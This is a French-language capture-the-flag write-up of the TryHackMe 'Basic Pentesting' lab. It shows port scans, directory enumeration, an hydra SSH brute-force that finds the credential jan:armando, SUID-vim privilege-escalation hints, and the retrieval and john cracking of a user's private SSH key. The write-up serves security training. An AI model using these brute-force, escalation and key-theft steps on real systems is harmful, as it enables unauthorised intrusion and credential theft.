Featured image of post [TryHackMe] - Basic Pentesting

[TryHackMe] - Basic Pentesting

#Basic Pentesting TryHackMe

Find the services exposed by the machine

Afin de trouver les services exposés par la machine nous allons réaliser un NMAP.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
nmap -sV -sC 10.10.53.160
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-26 08:26 EDT
Nmap scan report for 10.10.53.160
Host is up (0.046s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 db45cbbe4a8b71f8e93142aefff845e4 (RSA)
|   256 09b9b91ce0bf0e1c6f7ffe8e5f201bce (ECDSA)
|_  256 a5682b225f984a62213da2e2c5a9f7c2 (ED25519)
80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
| ajp-methods: 
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp open  http        Apache Tomcat 9.0.7
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.7
Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel

On remarque qu’il y a différents ports ouverts, notamment :22 tcp qui correspond à open shh, ou encore le port 80 tcp qui est un service http d’apache, on retrouve également un Apache Tomcat sur le port 8080.

What is the name of the hidden directory on the web server(enter name without /)?

On va donc lancer un dirsearch pour voir les endpoints qu’il est possible de trouver.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
dirsearch -u http://10.10.53.160 

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /home/kali/.dirsearch/reports/10.10.53.160/_23-04-26_08-48-26.txt

Error Log: /home/kali/.dirsearch/logs/errors-23-04-26_08-48-26.log

Target: http://10.10.53.160/

[08:48:26] Starting: 
[08:48:28] 403 -  298B  - /.ht_wsr.txt                                     
[08:48:28] 403 -  301B  - /.htaccess.orig                                  
[08:48:28] 403 -  301B  - /.htaccess.bak1                                  
[08:48:28] 403 -  303B  - /.htaccess.sample                                
[08:48:28] 403 -  302B  - /.htaccess_extra
[08:48:28] 403 -  299B  - /.htaccessBAK
[08:48:28] 403 -  301B  - /.htaccess_orig                                  
[08:48:28] 403 -  301B  - /.htaccess.save
[08:48:28] 403 -  300B  - /.htaccessOLD2
[08:48:28] 403 -  299B  - /.htaccessOLD
[08:48:28] 403 -  292B  - /.html
[08:48:28] 403 -  291B  - /.htm                                            
[08:48:28] 403 -  299B  - /.htaccess_sc
[08:48:28] 403 -  301B  - /.htpasswd_test
[08:48:28] 403 -  297B  - /.htpasswds
[08:48:28] 403 -  298B  - /.httr-oauth                                     
[08:48:49] 200 -    1KB - /development/                                     
[08:48:55] 200 -  158B  - /index.html                                       
[08:49:09] 403 -  301B  - /server-status/                                   
[08:49:09] 403 -  300B  - /server-status                                    
                                                                            
Task Completed

On retrouve donc des éléments intéressants notamment le dossier development qui va nous permettre de passer à la prochaine étape de la box. En regardant les fichiers .txt nous apprenons deux choses, la première qu’ils ont mit en place un protocole SMB, la deuxième est qu’il est possible de cracker un hash de user présent dans /etc/shadow

User brute-forcing to find the username & password

Pour bruteforce le username et le password nous allons utiliser l’outil hydra, étant donné que le protocole SMB à été mit en place on suppose qu’il faudrait bruteforce sur ce protocole.

SMB c’est quoi ? Et avoir réaliser un bruteforce via SMB à quoi cela nous mènera t’il ?

Le protocole SMB (Server Message Block) est un protocole utilisé pour le partage de fichiers et d’imprimantes sur un réseau local. Il a été développé par Microsoft et est utilisé principalement sur les systèmes d’exploitation Windows. En utilisant SMB, les ordinateurs peuvent partager des fichiers et accéder à des ressources partagées sur un réseau. Cela peut être utile pour les entreprises ou les organisations qui ont besoin de partager des fichiers et des données entre plusieurs ordinateurs ou utilisateurs. Le fait de réaliser un brute force via le protocole SMB nous permettra d’accéder au serveur par la suite.

What is the username?

Au début, je pensais bruteforcer afin de trouver le user avec hydra, sauf que cela aurait été trop long. En faisant la commande : enum4linux -a $ip on va retrouver deux users locaux : kay et jan.

Enum4linux is a tool for enumerating information from Windows and Samba systems.

What is the password?

Ainsi, on essaye de bruteforce sur le protocole SMB, pas de resultat… on va donc voir quelles sont les autres ports ouverts. On va donc essayer de bruteforce via le port 22 ssh avec hydra.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
hydra 10.10.152.46 -s 22 ssh -l jan -P /usr/share/wordlists/rockyou.txt

Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-04-26 10:46:03
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://10.10.152.46:22/
[STATUS] 146.00 tries/min, 146 tries in 00:01h, 14344256 to do in 1637:29h, 13 active
[STATUS] 104.67 tries/min, 314 tries in 00:03h, 14344088 to do in 2284:06h, 13 active
[STATUS] 95.14 tries/min, 666 tries in 00:07h, 14343736 to do in 2512:40h, 13 active
[22][ssh] host: 10.10.152.46   login: jan   password: armando
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 3 final worker threads did not complete until end.
[ERROR] 3 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-04-26 10:54:04

Le mot de passe est donc Armando pour l’user jan. jan:armando

What service do you use to access the server(answer in abbreviation in all caps)?

On utilise donc le service ssh par la suite pour se connecter à l’utilisateur jan.

Enumerate the machine to find any vectors for privilege escalation

Pour la suite du challenge, on va donc utiliser LinPeass, un outil qui permet d’énumérer au sein d’une machine et repérer éventuellement ce qui pourrait amener à une escaladassions de privilèges.

Un fois LinPeass lancé :

  • on remarque que la version de sudo est 1.8.16,, concernant cette version il y a la CVE **CVE-2021-3156,** qui présente un exploite public, après l’avoir essayer cela n’a pas marché car la version glibc est trop récente sur la machine.
  • On remarque aussi que c’est une machine Linux de version 4.4.0, on lance donc la commande shearchsploit Linux 4.4.0 pour voir ce qu’il est possible d’exploiter, après avoir récupéré le fichier et tenter d’exploiter cela n’a pas fonctionné. Toujours compiler sur la machine qu’on attaque.
  • Lorsqu’on regarde les binaires remontées par LinPeas qui ont la permissions SUID, -rwsr-xr-x le petit s, signifie que nous pouvons lancer ces commandes en tant que route qu’importe quel user nous sommes. rwsr-xr-x 1 root root 2.4M Nov 24 2016 /usr/bin/vim.basic (Unknown SUID binary!) . On se rend donc sur https://gtfobins.github.io/ qui permet de voir les commandes qui vont nous permettre de privesc.

What is the name of the other user you found(all lower case)?

Nous avions également trouvé un deuxième user du nom de kay.

If you have found another user, what can you do with this information?

Voir les fichiers de l’autre user

What is the final password you obtain?

Pour la phase final on utiliser une autre solution, linpeas nous remonte une clé privé RSA, on va donc ouvrir un serveur python python3 -m http.server, pour la wget depuis notre machine, ainsi on va pouvoir utiliser la commande ssh2john id_rsa > key.john , puis john —wordlist=/usr/share/wordlists/rockyou.txt key.john

Licensed under CC BY-NC-SA 4.0